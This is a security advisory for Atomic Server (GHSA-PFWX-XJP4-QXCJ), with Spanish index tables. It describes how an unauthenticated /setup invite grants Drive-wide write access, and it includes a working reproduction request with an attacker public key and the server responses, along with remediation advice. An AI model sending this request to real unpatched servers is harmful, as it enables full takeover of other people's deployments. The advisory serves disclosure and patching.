GHSA-PFWX-XJP4-QXCJ
Atomic Server: Unauthenticated `/setup` invite grants write access to the entire Drive
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-PFWX-XJP4-QXCJ divulgada | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
atomic-server provisions a well-known invite at `{server}/setup` with `write = true`, `target` = the Drive root, and `usagesLeft = 1`. Invite redemption ignores the redeemer's identity (`for_agent: _` in `server/src/plugins/invite.rs:22`), so possession of the URL is the only requirement. An unauthenticated attacker who sends `GET /setup?public-key=<attacker_key>` has the server create a new Agent and grant it write access to the entire Drive. On a freshly deployed (not-yet-claimed) instance this is a full server takeover with no credentials.
Severity
Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8). No authentication required; grants attacker-controlled write over all resources in the Drive.
Affected component
- `server/src/appstate.rs` — creates the `/setup` invite targeting the Drive root with `write=true`, `usagesLeft=1`.
- `server/src/plugins/invite.rs:14-173` — `construct_invite_redirect` destructures `for_agent: _` (redeemer identity discarded); `?public-key=` → `Agent::new_from_public_key` → `add_rights(agent, target, write=true)`.
Steps to Reproduce
Environment: `joepmeneer/atomic-server:develop` in Docker, `http://localhost:9883`, fresh store. No auth headers are used.
- Confirm the invite is live — `GET /setup` (Accept: `application/ad+json`) shows `invite/write = true`, `invite/target = http://localhost:9883` (Drive root), `usagesLeft = 1`.
- Redeem it anonymously with an attacker-generated ed25519 public key:
GET /setup?public-key=q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM%3D HTTP/1.1
Host: localhost:9883
Accept: application/ad+jsonResponse `200 OK` returns a `Redirect` confirming the new agent:
{
"https://atomicdata.dev/properties/invite/redirectAgent":
"http://localhost:9883/agents/q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM=",
"https://atomicdata.dev/properties/isA": ["https://atomicdata.dev/classes/Redirect"]
}- `GET /` shows the attacker is now in the Drive's `write` array:
"https://atomicdata.dev/properties/write": [
"http://localhost:9883/agents/+/KwsAmyzc7S/...", // legit root
"http://localhost:9883/agents/q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM=" // ATTACKER
]- The attacker signs a normal Commit (ed25519 over the JCS-canonical commit) and `POST /commit` (200) — the Drive root was successfully edited. Write access proven.
Expected: `/setup` must require operator authentication / a one-time secret.
Actual: Any unauthenticated client on the network redeems it and gains Drive-wide write.
Impact
Unauthenticated write to the entire Drive: read/modify/delete any resource, create/alter Agents, reconfigure permissions. This is a complete takeover on a fresh deployment. (It also serves as the entry point of a larger chain: with write access, an attacker can read the server root private key and impersonate root — reported separately.)
Remediation
- Require a one-time secret (printed to stdout at startup) or operator authentication to redeem `/setup`.
- Invalidate `/setup` after first use with an atomic `usagesLeft` decrement (sled transaction) — the current read-check-decrement is a TOCTOU that allows a single-use invite to be redeemed multiple times concurrently.
- Fix the inverted invite-expiry check in `invite.rs` (`if expires > now { reject }` is backwards, so expired invites remain redeemable and valid ones are rejected).
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
crates.ioatomic-server |
Sin parche | — | — | 0.40.1 afectada |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://nvd.nist.gov/vuln/detail/CVE-2026-69157https://github.com/ontola/atomic-server/security/advisories/GHSA-pfwx-xjp4-qxcjhttps://github.com/ontola/atomic-server/commit/98517d8921c78bd9b728a2459378c184ebf8a969https://github.com/ontola/atomic-serverLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
